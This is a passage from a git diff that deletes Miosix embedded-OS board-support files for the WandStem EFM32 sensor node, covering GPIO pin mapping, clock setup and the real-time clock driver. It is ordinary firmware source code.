GPIOs - // - CMU->HFPERCLKEN0|=CMU_HFPERCLKEN0_GPIO; - GPIO->CTRL=GPIO_CTRL_EM4RET; //GPIOs keep their state in EM4 - - redLed::mode(Mode::OUTPUT_LOW); - greenLed::mode(Mode::OUTPUT_LOW); - userButton::mode(Mode::Mode::INPUT_PULL_UP_FILTER); - loopback32KHzIn::mode(Mode::INPUT); - loopback32KHzOut::mode(Mode::OUTPUT); - - #if WANDSTEM_HW_REV>=13 - voltageSelect::mode(Mode::OUTPUT_LOW); //Default VDD=2.3V - #endif - - #if WANDSTEM_HW_REV>13 - powerSwitch::mode(Mode::OUTPUT_LOW); - #endif - - internalSpi::mosi::mode(Mode::OUTPUT_LOW); - internalSpi::miso::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating - internalSpi::sck::mode(Mode::OUTPUT_LOW); - - transceiver::cs::mode(Mode::OUTPUT_LOW); - transceiver::reset::mode(Mode::OUTPUT_LOW); - transceiver::vregEn::mode(Mode::OUTPUT_LOW); - transceiver::gpio1::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating - transceiver::gpio2::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating - transceiver::excChB::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating - #if WANDSTEM_HW_REV<13 - transceiver::gpio4::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating - #endif - transceiver::stxon::mode(Mode::OUTPUT_LOW); - - #if WANDSTEM_HW_REV>10 - //Flash is gated, keeping low prevents current from flowing in gated domain - flash::cs::mode(Mode::OUTPUT_LOW); - flash::hold::mode(Mode::OUTPUT_LOW); - #else - //Flash not power gated in earlier boards - flash::cs::mode(Mode::OUTPUT_HIGH); - flash::hold::mode(Mode::OUTPUT_HIGH); - #endif - - currentSense::enable::mode(Mode::OUTPUT_LOW); - //currentSense sense pin remains disabled as it is an analog channel - - // - // Setup clocks, as when we get here we're still running with HFRCO - // - - //HFXO startup time seems slightly dependent on supply voltage, with - //higher voltage resulting in longer startup time (changes by a few us at - //most). Also, HFXOBOOST greatly affects startup time, as shown in the - //following table - //BOOST sample#1 sample#2 - //100% 94us 100us - // 80% 104us 111us - // 70% 117us 125us - // 50% 205us 223us - - //Configure oscillator parameters for HFXO and LFXO - unsigned int dontChange=CMU->CTRL & CMU_CTRL_LFXOBUFCUR; - CMU->CTRL=CMU_CTRL_HFLE //We run at a frequency > 32MHz - | CMU_CTRL_CLKOUTSEL1_LFXOQ //Used for the 32KHz loopback - | CMU_CTRL_LFXOTIMEOUT_16KCYCLES //16K cyc timeout for LFXO startup - | CMU_CTRL_LFXOBOOST_70PCENT //Use recomended value - | CMU_CTRL_HFXOTIMEOUT_1KCYCLES //1K cyc timeout for HFXO startup - | CMU_CTRL_HFXOBUFCUR_BOOSTABOVE32MHZ //We run at a freq > 32MHz - | CMU_CTRL_HFXOBOOST_70PCENT //We want a startup time >=100us - | dontChange; //Don't change some of the bits - - //Start HFXO and LFXO. - //The startup of the HFXO oscillator was measured and takes less than 125us - CMU->OSCENCMD=CMU_OSCENCMD_HFXOEN | CMU_OSCENCMD_LFXOEN; - - //Configure flash wait states and dividers so that it's safe to run at 48MHz - CMU->HFCORECLKDIV=CMU_HFCORECLKDIV_HFCORECLKLEDIV; //We run at a freq >32MHz - MSC->READCTRL=MSC_READCTRL_MODE_WS2; //Two wait states for f>32MHz - MSC->WRITECTRL=MSC_WRITECTRL_RWWEN; //Enable FLASH read while write support - - ledOn(); - #ifndef JTAG_DISABLE_SLEEP - //Reuse the LED blink at boot to wait for the LFXO 32KHz oscillator startup - //SWitching temporarily the CPU to run off of the 32KHz XTAL is the easiest - //way to sleep while it locks, as it stalls the CPU and peripherals till the - //oscillator is stable - CMU->CMD=CMU_CMD_HFCLKSEL_LFXO; - #else //JTAG_DISABLE_SLEEP - while((CMU->STATUS & CMU_STATUS_LFXORDY)==0) ; - #endif //JTAG_DISABLE_SLEEP - ledOff(); - - //Then switch immediately to HFXO, so that we (finally) run at 48MHz - CMU->CMD=CMU_CMD_HFCLKSEL_HFXO; - - //Disable HFRCO since we don't need it anymore - CMU->OSCENCMD=CMU_OSCENCMD_HFRCODIS; - - //Put the LFXO frequency on the loopback pin - CMU->ROUTE=CMU_ROUTE_LOCATION_LOC1 //32KHz out is on PD8 - | CMU_ROUTE_CLKOUT1PEN; //Enable pin - - //The LFA and LFB clock trees are connected to the LFXO - CMU->LFCLKSEL=CMU_LFCLKSEL_LFB_LFXO | CMU_LFCLKSEL_LFA_LFXO; - - //This function initializes the SystemCoreClock variable. It is put here - //so as to get the right value - SystemCoreClockUpdate(); - - // - // Setup serial port - // - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new EFM32Serial(defaultSerial,defaultSerialSpeed))); -} - -void bspInit2() -{ - #ifndef DISABLE_FLOPSYNCVHT - VHT::instance().start(); - #endif //DISABLE_FLOPSYNCVHT - #ifdef WITH_FILESYSTEM - //Passing an empty device won't mount fat32, but will mount romfs and devfs - basicFilesystemSetup(intrusive_ref_ptr()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - - //Serial port is causing some residual consumption - USART0->CMD=USART_CMD_TXDIS | USART_CMD_RXDIS; - USART0->ROUTE=0; - debugConnector::tx::mode(Mode::DISABLED); - debugConnector::rx::mode(Mode::DISABLED); - - //Sequence to enter EM4 - for(int i=0;i<5;i++) - { - EMU->CTRL=2<<2; - EMU->CTRL=3<<2; - } - //Should never reach here - miosix_private::IRQsystemReboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/bsp_impl.h deleted file mode 100644 index 8c8011942..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,46 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "hwmapping.h" - -namespace miosix { - -inline void ledOn() { redLed::high(); } -inline void ledOff() { redLed::low(); } - -} - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hwmapping.h deleted file mode 100644 index 70110b8b5..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,183 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015, 2016 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" -#include "board_settings.h" - -//NOTE: WANDSTEM_HW_REV is now defined in board_settings.h - -namespace miosix { - -typedef Gpio redLed; -typedef Gpio greenLed; //Also pin 20 of expansion connector - -//Also connected to a pin of the expansion connector in some revisions -//rev 1.0 pin 19 -//rev 1.1 pin 30 -//rev 1.2 pin 30 -//rev 1.3 no longer connected to the expansion connector -typedef Gpio userButton; - -//This is used for the VHT implementation, allowing to resynchronize -//the high frequency timer with the RTC every time the node goes out -//of deep sleep giving the impression of having an uninterrupted -//high frequency clock. The 32KHz frequency is also output on pin 26 -//of the expansion connector providing a low frequency clock to -//daughter boards -typedef Gpio loopback32KHzIn; -typedef Gpio loopback32KHzOut; - -#if WANDSTEM_HW_REV>12 -//low = 2.3V -//high = 3.1V -typedef Gpio voltageSelect; -#endif - -#if WANDSTEM_HW_REV>13 -//Revision 1.4 separated the radio power management from expansion connector -//power management. Before revision 1.4, transceiver::vregEn served both -//functions, while starting from revision 1.4, this pin controls the power -//switch for the expansion connector, and transceiver::vregEn controls the -//cc2520 and flash power domain -typedef Gpio powerSwitch; -#endif //rev 1.4 or higher - -namespace expansion { -//The 30-pin expansion connector exposes some pins of the microcontroller -//that are freely usable as GPIO by daughter boards, and are named from gpio0 -//to gpio19. Each GPIO can have up to two alternate functions. -//Revision 1.4 uses reserves two GPIOs for internal use, the former gpio3 and -//gpio17, reducing the GPIO count from 20 to 18. -//MCU pin GPIO# CONN# AF1 AF2 -#if WANDSTEM_HW_REV==10 -typedef Gpio gpio0; // 1 ADC_CH0 -typedef Gpio gpio1; // 2 ADC_CH1 -typedef Gpio gpio2; // 3 ADC_CH2 LETIMER0 -#else //rev 1.1 or greater -typedef Gpio gpio0; // 1 ADC_CH0 -typedef Gpio gpio1; // 2 ADC_CH1 LETIMER0 -typedef Gpio gpio2; // 3 ADC_CH2 -#endif -#if WANDSTEM_HW_REV<14 -typedef Gpio gpio3; // 4 ADC_CH3 reserved in rev 1.4 -#endif //rev 1.3 or lower -typedef Gpio gpio4; // 7 SPI_CS LETIMER1 -typedef Gpio gpio5; // 8 SPI_SCK -typedef Gpio gpio6; // 9 SPI_MISO USART_RX -typedef Gpio gpio7; // 10 SPI_MOSI USART_TX -typedef Gpio gpio8; // 11 I2C_SDA LEUSART_TX -typedef Gpio gpio9; // 12 I2C_SCL LEUSART_RX -typedef Gpio gpio10; // 13 TIMESTAMP_IN/OUT -typedef Gpio gpio11; // 14 DAC_OUT -typedef Gpio gpio12; // 15 PWM0 PRS0 -typedef Gpio gpio13; // 16 PWM1 PRS1 -typedef Gpio gpio14; // 18 EXC_ACMP1 -typedef Gpio gpio15; // 23 ACMP0 -typedef Gpio gpio16; // 24 ACMP1 -#if WANDSTEM_HW_REV<14 -typedef Gpio gpio17; // 25 ACMP2 reserved in rev 1.4 -#endif //rev 1.3 or lower -typedef Gpio gpio18; // 27 PCNT_A -typedef Gpio gpio19; // 28 PCNT_B -} //namespace expansion - -namespace internalSpi { -//The internal SPI is shared between the radio transceiver (CC2520) and flash -//(IS25LP128). In addition, the CC2520 can be configured to output an analog -//value proportional to its temperature on a pin that is shared with sck -typedef Gpio mosi; -typedef Gpio miso; -typedef Gpio sck; //Also cc2520_tempsensor (analog) -} //namespace internalSpi - -namespace transceiver { -//The radio transceiver. The exception channel B and STXON are connected to -//a timer input capture and output compare channel for precise packet timing -typedef Gpio cs; -typedef Gpio reset; -typedef Gpio vregEn; //Also power switch enable before rev 1.4 -typedef Gpio gpio1; -typedef Gpio gpio2; -typedef Gpio excChB; //including SFD and FRM_DONE -#if WANDSTEM_HW_REV<13 -typedef Gpio gpio4; -#endif -typedef Gpio stxon; -} //namespace transceiver - -namespace flash { -//The on-board flash is a 16MByte IS25LP128, works down to 2.3V -typedef Gpio cs; -typedef Gpio hold; -} //namespace flash - -namespace currentSense { -//The current sensor uses a MAX44284F and 0.12ohm shunt resistor. -//Using the internal 1.25V reference for the ADC, the measurement range is 208mA -//and the resolution is ~51uA. The current sensor can sense the consumption of -//all the components on the board (MCU, transceiver, flash) and also of the -//components on the daughter board, unless they are hooked up to the VBAT line. -typedef Gpio enable; -#if WANDSTEM_HW_REV==10 -typedef Gpio sense; //Analog, also pin 5 of expansion connector -#else //rev 1.1 or greater -typedef Gpio sense; //Analog, also pin 5 of expansion connector -#endif -} //namespace currentSense - -//Rev 1.4 introduced a sensor for the battery voltage. This is done using a -//voltage divider that is enabled when the cc2520 voltage domain is enabled. -//The voltage that can be sensed at this point is the battery voltage -//multiplied by 0.237 -#if WANDSTEM_HW_REV>13 -typedef Gpio voltageSense; -#endif //rev 1.4 or higher - -namespace debugConnector { -//The debug connector exposes a serial port for printf/scanf debugging, and -//the SWD debug interface. The connector is also used to start the bootloader -//to upload code to the board, by pulling SWCLK high and resetting the board. -//The bootloader can load code either using the serial port or the USB port. -//Finally, also the MCU reset is exposed. -typedef Gpio tx; //kernel serial port -typedef Gpio rx; //kernel serial port -typedef Gpio swclk; //SWD (also pull high to start bootloader) -typedef Gpio swdio; //SWD -} //namespace debugConnector - -namespace usb { -//USB lines -typedef Gpio dm; -typedef Gpio dp; -} //namespace usb - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/os_timer.cpp b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/os_timer.cpp deleted file mode 100644 index b800e200a..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/os_timer.cpp +++ /dev/null @@ -1,84 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Fabiano Riccardi, Sasan * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/os_timer.h" -#include "kernel/timeconversion.h" -#include "vht.h" -#include "virtual_clock.h" - -using namespace miosix; - -namespace miosix { - -static HRTB *b=nullptr; -static TimeConversion tc; -static VHT *vht=nullptr; -static VirtualClock *vt=nullptr; - -long long getTime() noexcept -{ - return tc.tick2ns(vt->uncorrected2corrected(vht->uncorrected2corrected(b->addBasicCorrection(b->getCurrentTick())))); -} - -long long IRQgetTime() noexcept -{ - return tc.tick2ns(vt->uncorrected2corrected(vht->uncorrected2corrected(b->addBasicCorrection(b->IRQgetCurrentTick())))); -} - -namespace internal { - -void IRQosTimerInit() -{ - b=&HRTB::instance(); - tc=TimeConversion(b->getTimerFrequency()); - vht=&VHT::instance(); - vt=&VirtualClock::instance(); -} - -void IRQosTimerSetInterrupt(long long ns) noexcept -{ - b->IRQsetNextInterruptCS(b->removeBasicCorrection(vht->corrected2uncorrected(vt->corrected2uncorrected(tc.ns2tick(ns))))); -} - -// long long ContextSwitchTimer::getNextInterrupt() const -// { -// return tc->tick2ns(vt->uncorrected2corrected(vht->uncorrected2corrected(pImpl->b.addBasicCorrection(pImpl->b.IRQgetSetTimeCS())))); -// } - -// void IRQosTimerSetTime(long long ns) noexcept -// { -// //TODO -// } - -unsigned int osTimerGetFrequency() -{ - return b->getTimerFrequency(); -} - -} //namespace internal - -} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rtc.cpp b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rtc.cpp deleted file mode 100644 index 11acacf0f..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rtc.cpp +++ /dev/null @@ -1,323 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * Copyright (C) 2013, 2014 by Terraneo Federico and Luigi Rinaldi * - * Copyright (C) 2015, 2016 by Terraneo Federico, Luigi Rinaldi and * - * Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "rtc.h" -#include -#include -#include "gpioirq.h" -#include "config/miosix_settings.h" -#include "hrtb.h" - -using namespace miosix; - -//enum class WaitResult -//{ -// WAKEUP_IN_THE_PAST, -// WAIT_COMPLETED, -// EVENT -//}; - -const unsigned int timerBits=24; -const unsigned long long overflowIncrement=(1LL<CNT; - if((RTC->IF & _RTC_IFC_OF_MASK) && RTC->CNT>=counter) - return (swCounter | static_cast(counter)) + overflowIncrement; - return swCounter | static_cast(counter); -} - -/** - * Common part of all wait functions - * \param value absolute time point when the wait has to end - * \param eventSensitive if true, return prematurely if an event occurs - * \return the condition that caused the function to return - */ -static WaitResult waitImpl(long long value, bool eventSensitive) -{ - auto eventPin=transceiver::excChB::getPin(); - //EFM32 compare channels trigger 1 tick late (undocumented quirk) - RTC->COMP0=(value-1) & 0xffffff; - while(RTC->SYNCBUSY & RTC_SYNCBUSY_COMP0) ; - - FastInterruptDisableLock dLock; - //NOTE: this is very important, enabling the interrupt without clearing the - //interrupt flag causes the function to return prematurely, sometimes - RTC->IFC=RTC_IFC_COMP0; - RTC->IEN |= RTC_IEN_COMP0; - - if(eventSensitive) - { - //To avoid race condition, first enable irq, then check for event - IRQenableGpioIrq(eventPin); - //Event occurred. Note that here we assume as event model a device - //that raises the pin and holds it until some action such as writing - //to its registers to clear the pin, as is the case with the cc2520 - //so if the event occurred in the past and we were waiting for that - //event, the pin is surely high. A device that raises the pin just - //briefly would cause a race condition - if(miosix::transceiver::excChB::value()==1) - { - IRQdisableGpioIrq(eventPin); - RTC->IFC=RTC_IFC_COMP0; - RTC->IEN &= ~RTC_IEN_COMP0; - return WaitResult::EVENT; - } - eventOccurred=false; - } - - //NOTE: the corner case where the wakeup is now is considered "in the past" - if(value<=IRQreadRtc()) - { - if(eventSensitive) IRQdisableGpioIrq(eventPin); - RTC->IFC=RTC_IFC_COMP0; - RTC->IEN &= ~RTC_IEN_COMP0; - return WaitResult::WAKEUP_IN_THE_PAST; - } - - do { - rtcWaiting=Thread::IRQgetCurrentThread(); - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - //The readRtc() check in the while is for waits past one RTC period - } while(rtcWaiting && value>IRQreadRtc()); - RTC->IEN &= ~RTC_IEN_COMP0; - if(eventSensitive) - { - IRQdisableGpioIrq(eventPin); - if(eventOccurred) return WaitResult::EVENT; - } - return WaitResult::WAIT_COMPLETED; -} - -/** - * RTC interrupt - */ -void __attribute__((naked)) RTC_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z14RTChandlerImplv"); - restoreContext(); -} - -/** - * RTC interrupt actual implementation - */ -void __attribute__((used)) RTChandlerImpl() -{ - if(RTC->IF & RTC_IF_OF){ - RTC->IFC=RTC_IFC_OF; - swCounter+=overflowIncrement; - } - - if(RTC->IF & RTC_IF_COMP0) - { - RTC->IFC=RTC_IFC_COMP0; - - if(rtcTriggerEnable) - { - //High time is around 120ns - transceiver::stxon::high(); - rtcTriggerEnable=false; - transceiver::stxon::low(); - } - - if(rtcWaiting) - { - rtcWaiting->IRQwakeup(); - if(rtcWaiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - rtcWaiting=nullptr; - } - } - - if(RTC->IF & RTC_IF_COMP1){ - RTC->IFC=RTC_IFC_COMP1; - } -} - -/** - * Event timestamping pin interrupt actual implementation - */ -void GPIO8Handler() -{ - timestampEvent=IRQreadRtc(); - eventOccurred=true; - - if(!rtcWaiting) return; - rtcWaiting->IRQwakeup(); - if(rtcWaiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - rtcWaiting=nullptr; -} - -namespace miosix { - -// -// class Rtc -// - -Rtc& Rtc::instance() -{ - static Rtc timer; - return timer; -} - -long long Rtc::getValue() const -{ - //readRtc() is not reentrant, and is also called in the GPIO timestamp irq - FastInterruptDisableLock dLock; - return IRQreadRtc(); -} - -long long int Rtc::IRQgetValue() const -{ - return IRQreadRtc(); -} - -void Rtc::setValue(long long value) -{ - //Stop timer and wait for it to be stopped - RTC->CTRL=0; - unsigned int hwCounter=value & 0x0000000000ffffffull; - while(RTC->SYNCBUSY & RTC_SYNCBUSY_CTRL) ; - - RTC->CNT=hwCounter; - - //Restart timer as soon as possible - RTC->CTRL=RTC_CTRL_EN; - swCounter=value & 0xffffffffff000000ull; - lastHwCounter=hwCounter; - while(RTC->SYNCBUSY & RTC_SYNCBUSY_CTRL) ; -} - -void Rtc::wait(long long value) -{ - waitImpl(getValue()+value,false); -} - -bool Rtc::absoluteWait(long long value) -{ - return waitImpl(value,false)==WaitResult::WAKEUP_IN_THE_PAST; -} - -bool Rtc::absoluteWaitTrigger(long long value) -{ - rtcTriggerEnable=true; - bool result=waitImpl(value,false)==WaitResult::WAKEUP_IN_THE_PAST; - rtcTriggerEnable=false; - return result; -} - -bool Rtc::waitTimeoutOrEvent(long long value) -{ - return waitImpl(getValue()+value,true)!=WaitResult::EVENT; -} - -bool Rtc::absoluteWaitTimeoutOrEvent(long long value) -{ - return waitImpl(value,true)!=WaitResult::EVENT; -} - -long long Rtc::getExtEventTimestamp(Correct c) const -{ - return timestampEvent; -} - -long long int Rtc::tick2ns(long long int tick) -{ - return tc.tick2ns(tick); -} - -long long int Rtc::ns2tick(long long int ns) -{ - return tc.ns2tick(ns); -} - -unsigned int Rtc::getTickFrequency() const -{ - return frequency; -} - -Rtc::Rtc() : tc(frequency) -{ - FastInterruptDisableLock dLock; - - // - // Configure timer - // - - //The LFXO is already started by the BSP - CMU->HFCORECLKEN0 |= CMU_HFCORECLKEN0_LE; //Enable clock to LE peripherals - CMU->LFACLKEN0 |= CMU_LFACLKEN0_RTC; - while(CMU->SYNCBUSY & CMU_SYNCBUSY_LFACLKEN0) ; - - RTC->CNT=0; - - RTC->CTRL=RTC_CTRL_EN; - while(RTC->SYNCBUSY & RTC_SYNCBUSY_CTRL) ; - - //In the EFM32GG332F1024 the RTC has two compare channels, used in this way: - //COMP0 -> used for wait and trigger - //COMP1 -> reserved for VHT resync and Power manager - //NOTE: interrupt not yet enabled as we're not setting RTC->IEN - NVIC_EnableIRQ(RTC_IRQn); - NVIC_SetPriority(RTC_IRQn,7); // 0 is the higest priority, 15 il the lowest - - RTC->IEN |= RTC_IEN_OF; - - // - // Configure the GPIO interrupt used for packet reception timestamping - // (at the RTC resolution using a hardware input capture/output compare - // channel isn't necessary, as one RTC tick is more than 1400 CPU cycles) - // - //Not more needed - //registerGpioIrq(transceiver::excChB::getPin(),GpioIrqEdge::RISING,GPIO8Handler); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rtc.h b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rtc.h deleted file mode 100644 index 7b98325a6..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rtc.h +++ /dev/null @@ -1,165 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * Copyright (C) 2013, 2014 by Terraneo Federico and Luigi Rinaldi * - * Copyright (C) 2015, 2016 by Terraneo Federico, Luigi Rinaldi and * - * Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef RTC_H -#define RTC_H - -#include "timer_interface.h" -#include - -namespace miosix { - -/** - * Manages the hardware timer that runs also in low power mode. - * This class is not safe to be accessed by multiple threads simultaneously. - */ -class Rtc : public HardwareTimer -{ -public: - /** - * \return a reference to the timer (singleton) - */ - static Rtc& instance(); - - /** - * \return the timer counter value in ticks - */ - long long getValue() const; - - /** - * \return the timer counter value in ticks - * - * Can be called with interrupt disabled - */ - long long IRQgetValue() const; - - /** - * Set the timer counter value - * \param value new timer value in ticks - */ - void setValue(long long value); - - /** - * Put thread in wait for the specified relative time. - * This function wait for a relative time passed as parameter. - * \param value relative time to wait, expressed in ticks - */ - void wait(long long value); - - /** - * Puts the thread in wait for the specified absolute time. - * \param value absolute wait time in ticks - * If value of absolute time is in the past no waiting will be set - * and function return immediately. - * \return true if the wait time was in the past - */ - bool absoluteWait(long long value); - - /** - * Set the timer interrupt to occur at an absolute value and put the - * thread in wait of this. - * When the timer interrupt will occur, the associated GPIO passes - * from a low logic level to a high logic level for few us. - * \param value absolute value when the interrupt will occur, expressed in - * ticks - * If value of absolute time is in the past no waiting will be set - * and function return immediately. In this case, the GPIO will not be - * pulsed - * \return true if the wait time was in the past, in this case the GPIO - * has not been pulsed - */ - bool absoluteWaitTrigger(long long value); - - /** - * Put thread in waiting of timeout or extern event. - * \param value timeout expressed in ticks - * \return true in case of timeout - */ - bool waitTimeoutOrEvent(long long value); - - /** - * Put thread in waiting of timeout or extern event. - * \param value absolute timeout expressed in ticks - * If value of absolute time is in the past no waiting will be set - * and function return immediately. - * \return true in case of timeout, or if the wait time is in the past. - * In the corner case where both the timeout and the event are in the past, - * return false. - */ - bool absoluteWaitTimeoutOrEvent(long long value); - - /** - * \return the precise time in ticks when the IRQ signal of the event was - * asserted - */ - long long getExtEventTimestamp(Correct c) const; - - /** - * Althought the interface to the timer is in ticks to be able to do - * computations that are exact and use the timer resolution fully, - * these member functions are provided to convert to nanoseconds - * - * \param tick time point in timer ticks - * \return the equivalent time point in the nanosecond timescale - */ - long long tick2ns(long long tick); - - /** - * Althought the interface to the timer is in ticks to be able to do - * computations that are exact and use the timer resolution fully, - * these member functions are provided to convert to nanoseconds - * - * \param ns time point in nanoseconds - * \return the equivalent time point in the timer tick timescale - */ - long long ns2tick(long long ns); - - /** - * \return the timer frequency in Hz - */ - unsigned int getTickFrequency() const; - - /// The internal RTC frequency in Hz - static const unsigned int frequency=32768; - -private: - /** - * Constructor - */ - Rtc(); - Rtc(const Rtc&)=delete; - Rtc& operator=(const Rtc&)=delete; - - TimeConversion tc; ///< Class for converting from nanoseconds to ticks -}; - -} //namespace miosix - -#endif //RTC_H diff --git a/miosix/arch/cortexM3_stm32f1/common/arch_settings.h b/miosix/arch/cortexM3_stm32f1/common/arch_settings.h deleted file mode 100644 index 744a45775..000000000 --- a/miosix/arch/cortexM3_stm32f1/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * 